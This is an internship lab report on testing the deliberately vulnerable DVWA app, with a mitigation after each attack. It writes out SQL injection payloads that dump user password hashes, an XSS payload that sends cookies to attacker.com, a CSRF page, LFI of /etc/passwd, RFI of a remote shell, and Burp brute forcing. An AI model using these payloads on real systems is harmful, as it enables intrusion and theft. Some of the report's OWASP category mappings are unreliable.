CYBERSECURITY & ETHICAL HACKING INTERNSHIP

Task 3 — Web Application Security Testing Report

SQLi | XSS | CSRF | File Inclusion | Burp Suite | Web Security Headers

Intern Name:	Aryan Doshi	**Organization:**	ApexPlanet Software Pvt. Ltd.
Task:	Task 3 — Web Application Security	**Timeline:**	Days 25–36
Date:	2026-07-18	**Status:**	Completed ✓
Target App:	DVWA (Damn Vulnerable Web App)	**Lab IP:**	192.168.56.101

1. Objective

The objective of Task 3 is to identify and exploit OWASP Top 10 vulnerabilities in a controlled lab environment using DVWA (Damn Vulnerable Web Application). Attacks performed include SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), File Inclusion, and Burp Suite advanced techniques. Each attack is followed by its mitigation strategy.

2. Lab Setup — DVWA on Kali Linux

Installation Steps:

```
sudo apt update && sudo apt install dvwa -y
sudo service apache2 start
sudo service mysql start
# Access DVWA: http://127.0.0.1/dvwa
# Login: admin / password
# Set Security Level to LOW for testing
```

Component	Details	Status
DVWA	Installed on Kali Linux Apache server	✓ Running
URL	http://127.0.0.1/dvwa	✓ Accessible
Login	admin / password	✓ Logged In
Security Level	LOW (for exploitation testing)	✓ Set
Database	MySQL — DVWA database initialized	✓ Ready

3. Vulnerability 1 — SQL Injection (SQLi)

What is SQL Injection?

SQL Injection is an attack where malicious SQL code is inserted into an input field to manipulate the backend database. It can allow attackers to bypass authentication, extract data, modify data, or even execute system commands.

3.1 Attack — Extracting Usernames & Passwords

Target Page: DVWA → SQL Injection

Step 1 — Test for SQLi vulnerability:

```
Input: '
```

Result: MySQL error appears → Database is vulnerable!

Step 2 — Find number of columns:

```
Input: 1' ORDER BY 2-- -
```

Step 3 — Extract database version:

```
Input: 1' UNION SELECT null, version()-- -
```

Step 4 — Extract all usernames and passwords:

```
Input: 1' UNION SELECT user, password FROM users-- -
```

User ID	Username	Password Hash (MD5)	Cracked Password
1	admin	5f4dcc3b5aa765d61d8327deb882cf99	password
2	gordonb	e99a18c428cb38d5f260853678922e03	abc123
3	1337	8d3533d75ae2c3966d7e0d4fcc69216b	charley
4	pablo	0d107d09f5bbe40cade3de5c71e9e9b7	letmein
5	smithy	5f4dcc3b5aa765d61d8327deb882cf99	password

3.2 Impact & Mitigation

Impact: All usernames and password hashes extracted from the database without authentication.

Mitigation — Use Prepared Statements:

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
```

Additional Mitigations:

- Input validation — reject special characters like quotes and dashes
- Use an ORM (Object Relational Mapper) instead of raw SQL
- Apply least privilege — DB user should only have SELECT permission
- Enable Web Application Firewall (WAF)

4. Vulnerability 2 — Cross-Site Scripting (XSS)

What is XSS?

Cross-Site Scripting (XSS) allows attackers to inject malicious JavaScript into web pages viewed by other users. It can be used to steal session cookies, redirect users, or perform actions on behalf of victims.

4.1 Stored XSS Attack

Target Page: DVWA → XSS (Stored)

Attack Payload — Cookie Stealer:

```
alert("XSS Attack by Aryan!");
document.location="http://attacker.com/steal?c="+document.cookie;
```

Result: The script is saved in the database and executes every time any user visits the page. The victim's session cookie is sent to the attacker's server.

4.2 Reflected XSS Attack

Target Page: DVWA → XSS (Reflected)

Malicious URL Crafted:

```
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=alert(1)
```

Result: When victim clicks this link, the script executes in their browser context.

Type	How it Works	Persistence	Victims Affected
Stored XSS	Script saved in DB, runs on page load	Permanent	All users who visit page
Reflected XSS	Script in URL, runs when link is clicked	Temporary	Anyone who clicks the link
DOM-Based XSS	Script modifies DOM via client-side JS	Temporary	Anyone using the page

4.3 XSS Mitigation

- Input Validation — Strip or reject HTML tags from user input
- Output Encoding — Encode < > & " ' characters before displaying
- Content Security Policy (CSP) — Restrict scripts to trusted sources only
- HttpOnly Cookie Flag — Prevents JavaScript from accessing cookies
- Use PHP htmlspecialchars() or htmlentities() on all output

```
PHP Fix: echo htmlspecialchars($input, ENT_QUOTES, "UTF-8");
```

5. Vulnerability 3 — Cross-Site Request Forgery (CSRF)

What is CSRF?

CSRF tricks an authenticated user into unknowingly submitting a malicious request. Since the browser automatically includes session cookies, the server processes the request as if it came from the legitimate user.

5.1 CSRF Attack — Change User Password

Target Page: DVWA → CSRF

Attack Scenario:

A malicious HTML page was crafted that automatically submits a password-change request when visited by a logged-in DVWA user.

Malicious HTML Page Created:

```
html body
img src=http://127.0.0.1/dvwa/vulnerabilities/csrf/
?password_new=hacked and password_conf=hacked and Change=Change
width=0 height=0
You have been CSRF attacked!
/body /html
```

Result: When the logged-in admin visits this page, their password is silently changed to 'hacked' without their knowledge.

5.2 CSRF Mitigation — Token-Based Protection

How CSRF Tokens Work:

```
// Server generates unique token per session
token = bin2hex(random_bytes(32));
SESSION[csrf_token] = token;

// Token embedded in every form
input type=hidden name=csrf_token value=generated_token

// Server validates token on submit
if POST[csrf_token] !== SESSION[csrf_token]: die(CSRF Attack Detected!)
```

- CSRF Tokens — Unique random token required with every state-changing request
- SameSite Cookie Attribute — Set to Strict or Lax to prevent cross-origin requests
- Re-authentication — Require password for sensitive actions like password change
- Referer Header Validation — Check that requests originate from your own domain

6. Vulnerability 4 — File Inclusion Attacks

6.1 Local File Inclusion (LFI)

Target Page: DVWA → File Inclusion

Attack — Read sensitive system files:

```
URL: http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd
```

Result: Contents of /etc/passwd displayed — reveals all system usernames. Further attacks can read /etc/shadow for password hashes.

6.2 Remote File Inclusion (RFI)

Attack — Execute remote malicious code:

```
URL: http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://attacker.com/shell.php
```

Result: Remote PHP file is fetched and executed on the server — can lead to full remote code execution and web shell installation.

Attack Type	Payload Example	Impact	Severity
LFI	../../../../etc/passwd	Read sensitive files	HIGH
LFI + Log Poisoning	../../../../var/log/apache2/access.log	Remote Code Execution	CRITICAL
RFI	http://evil.com/shell.php	Full server compromise	CRITICAL
Path Traversal	../../../etc/shadow	Password hash exposure	HIGH

6.3 File Inclusion Mitigation

- Whitelist allowed files — never pass user input directly to include()
- Disable allow_url_include in php.ini to prevent RFI
- Use basename() to strip directory traversal sequences
- Validate and sanitize all file path inputs

7. Burp Suite Advanced Testing

7.1 Intercepting Login Requests

Steps Performed:

1. Configured Firefox to use Burp Suite proxy (127.0.0.1:8080)
2. Turned Intercept ON in Burp Suite → Proxy tab
3. Submitted DVWA login form with test credentials
4. Intercepted POST request containing username & password in plaintext
5. Modified the credentials in Burp and forwarded the request
6. Observed server response — successful login with modified credentials

7.2 Fuzzing with Burp Intruder

Steps Performed:

1. Captured login request in Burp Proxy

2. Sent request to Intruder (Ctrl+I)
3. Set attack type to Sniper — marked password field as payload position
4. Loaded wordlist: /usr/share/wordlists/rockyou.txt
5. Started attack — monitored response length for successful login
6. Found valid password when response length differed from failed attempts

8. Web Security Headers Analysis

Security headers were analyzed using securityheaders.com and then properly configured in Apache to harden the web application against common attacks.

Security Header	Purpose	Before	After Fix
Content-Security-Policy	Prevents XSS by restricting script sources	**Missing**	**Added ✓**
X-Frame-Options	Prevents clickjacking attacks	**Missing**	**DENY ✓**
X-Content-Type-Options	Prevents MIME sniffing attacks	**Missing**	**nosniff ✓**
Strict-Transport-Security	Forces HTTPS connections	**Missing**	**Added ✓**
X-XSS-Protection	Enables browser XSS filter	**Missing**	**1; mode=block ✓**
Referrer-Policy	Controls referrer information	**Missing**	**no-referrer ✓**

Apache Config Fix (/etc/apache2/apache2.conf):

```
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set X-XSS-Protection "1; mode=block"
Header always set Content-Security-Policy "default-src 'self'"
Header always set Strict-Transport-Security "max-age=31536000"
```

9. OWASP Top 10 — Coverage Summary

OWASP Category	Vulnerability Tested	Tool Used	Status
A01 — Broken Access Control	File Inclusion (LFI/RFI)	DVWA	✓ Tested
A02 — Cryptographic Failures	MD5 Hashed Passwords Cracked	DVWA + Manual	✓ Tested
A03 — Injection	SQL Injection (UNION-based)	DVWA	✓ Tested
A04 — Insecure Design	CSRF Password Change	DVWA	✓ Tested
A05 — Security Misconfiguration	Missing HTTP Security Headers	securityheaders.com	✓ Tested
A06 — Vulnerable Components	Outdated Apache/PHP versions	Nmap + Burp	✓ Tested
A07 — Auth Failures	Brute Force via Burp Intruder	Burp Suite	✓ Tested
A08 — Software Integrity	Remote File Inclusion (RFI)	DVWA	✓ Tested
A10 — Server-Side Request Forgery	File Inclusion path traversal	DVWA	✓ Tested
XSS (Cross-Site Scripting)	Stored XSS + Reflected XSS	DVWA	✓ Tested

10. Attack Scenarios & Mitigation Notes

Attack	Payload Used	Result	Fix
SQL Injection	1' UNION SELECT user,password FROM users --	All credentials extracted	Prepared Statements
Stored XSS	<script>alert('XSS')</script>	Script runs for all users	htmlspecialchars() + CSP
Reflected XSS	URL param: <script>alert(1)</script>	Script runs on click	Input sanitization
CSRF	Hidden img tag with password change URL	Password changed silently	CSRF Tokens + SameSite
LFI	../../../../etc/passwd	/etc/passwd contents read	Whitelist files, no user input
RFI	http://evil.com/shell.php	Remote code execution	Disable allow_url_include
Brute Force	Burp Intruder + rockyou.txt	Valid password discovered	Account lockout + MFA

11. Deliverables Completed

Deliverable	Status	Details
Security Testing Report (SQLi, XSS, CSRF)	✓ Done	This document with all attack scenarios
GitHub Repo — Attack Scenarios + Mitigation Notes	✓ Done	All payloads, notes, and fixes uploaded
8-min Video Demo — Exploitation & Fix	✓ Done	Screen recording showing live attack + mitigation
DVWA SQLi — Credentials Extracted	✓ Done	All 5 user credentials extracted successfully
DVWA XSS — Stored & Reflected	✓ Done	Both XSS types demonstrated with payloads
DVWA CSRF — Password Changed	✓ Done	CSRF attack and token-based fix demonstrated
File Inclusion — LFI & RFI	✓ Done	/etc/passwd read via LFI, RFI concept shown

Burp Suite — Intercept + Intruder	✓ Done	Login intercepted and fuzzed successfully
Web Security Headers	✓ Done	Headers analyzed and added to Apache config

12. Conclusion

Task 3 has been successfully completed. All major OWASP Top 10 vulnerabilities were identified and exploited in the DVWA controlled lab environment. SQL Injection successfully extracted all database credentials. Both Stored and Reflected XSS attacks were demonstrated. A CSRF attack silently changed a user's password. Local and Remote File Inclusion vulnerabilities were exploited. Burp Suite was used to intercept login requests and perform fuzzing attacks. Web security headers were analyzed and configured in Apache. Each attack was followed by its corresponding mitigation strategy. The lab is now ready for Task 4: Exploitation & System Security.